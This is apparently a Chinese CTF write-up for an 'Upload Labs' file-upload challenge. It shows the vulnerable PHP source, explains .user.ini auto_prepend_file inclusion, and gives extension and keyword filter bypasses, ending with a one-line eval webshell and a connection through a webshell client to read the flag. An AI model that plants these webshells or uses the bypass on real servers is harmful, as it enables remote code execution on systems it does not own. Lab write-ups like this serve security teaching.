源码
!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>
<body>
<h2>Upload Labs</h2>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="fileUpload" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
</body>
</html>
<?php
// error_reporting(0);
highlight_file(__FILE__);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$name = $_FILES["fileUpload"]["name"];
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess|jpg|png|jpeg|txt|gif/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("illegal symbol!");
}
if (mb_strpos(file_get_contents($tmp_name), "script") !== FALSE) {
die("illegal symbol!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir . ' <br>';
//echo 'Your files : <br>';
//var_dump(scandir($userdir));
}
.user.ini背景
.user.ini,它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。我的nginx服务器全部是fpm/fastcgi,我的IIS php5.3以上的全部用的fastcgi/cgi,我win下的apache上也用的fcgi,可谓很广,不像.htaccess有局限性。
.user.ini
首先介绍php.ini文件,php中有很多配置,并且可以在php.ini中设置。但是不是php.ini
中的每个变量都能通过ini_set()
或者.user.ini
和.htaccess
来设置,简单的来说每个变量有它所属于的模式,下面官方手册的四个模式。
![](https://i-blog.csdnimg.cn/blog_migrate/6b0af95735916e617449c68ef052a6cb.png)
关于系统一类PHP_INI_SYSTEM的配置,只能在向像php.ini类似厉害的配置文件中设定。其它三种不怎么重要的配置不仅可以在php.ini中设定,还可以在.user.ini中设定。.user.ini和php.ini不同的是,.user.ini是一个动态加载的ini文件。在修改.user.ini之后不用重启服务器中间件,只需等待
user_ini.cache_ttl默认的配置时间(300秒)。即可被重新加载。
服务器中间件![](https://i-blog.csdnimg.cn/blog_migrate/00a1c3d188541ad28c2e04f58155e09c.png)
通过上面的解释我们可以知道,.user.ini实际上是一种可以被用户自定义的特殊的php.ini,.user.ini可以设定PHP_INI_USER和PHP_INII_PERDI和PHP_INI_ALL
解题思路
对于这题关键的.user.ini中两个配置可以用来包含后门:
auto_prepend_file=a.bmpauto_append_file=a.bmp
前者指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
源码关键部分:
if (preg_match("/ph|htacess|jpg|png|jpeg|txt|gif/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("illegal symbol!");
}
if (mb_strpos(file_get_contents($tmp_name), "script") !== FALSE) {
die("illegal symbol!");
}
源码中禁用了一般的后缀,我们可以用后缀.bmp绕过。同时禁用了<?和<script>,可以使用大小写要过<SCRIpt>,也可以用<%绕过(<%等价与<?)。
所以上面这题我们先传一个.user.ini文件,打开记事本写下文件内容:
auto_prepend_file=a.bmp //指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数
然后再修改后缀为.user.ini
![](https://i-blog.csdnimg.cn/blog_migrate/47e8c8adb998056b290d39ede004d374.png)
再用相同的步骤记事本写下一句话木马:
<% php @eval($_POST['111']);%>
或
<SCRIpt language="php">@eval($_POST['111'])<scrIPT>
重命名记事本为kobe.bmp,再上传一个kobe.bmp文件
上传后得到上传路径,通过御剑等工具扫目录得到上传的文件所在目录下的php文件有index.php(在含有.user.ini的文件下要含有php文件,否则不能正常包含,执行一句话木马)。
用蚁剑连接 128.1.2.1/上传的路径/含有.user.ini的文件下的php文件
如:
http://172.16.68.4:28051/uploads/fd40c7f4125a9b9ff1a4e75d293e3080/index.php
连接好后,查看文件下的flag文件就好了。